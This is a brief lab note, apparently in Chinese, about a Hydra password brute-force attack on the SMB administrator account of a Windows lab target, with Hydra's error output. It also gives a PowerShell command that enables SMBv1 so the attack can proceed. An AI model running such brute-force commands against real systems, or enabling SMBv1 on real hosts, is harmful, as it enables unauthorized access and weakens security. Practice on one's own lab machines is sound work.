CODE: hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://192.168.2.12:445 -t 16 -e nsr -vV
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-28 07:44:06
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 14344402 login tries (l:1/p:14344402), ~14344402 tries per task
[DATA] attacking smb://192.168.2.12:445/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ERROR] invalid reply from target smb://192.168.2.12:445/
wins靶机虽然开了445端口,但没开SMB服务,在powershell输入 Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol 即可开启
reference:如何在 Windows 中检测、启用和禁用 SMBv1、SMBv2 和 SMBv3 | Microsoft Learn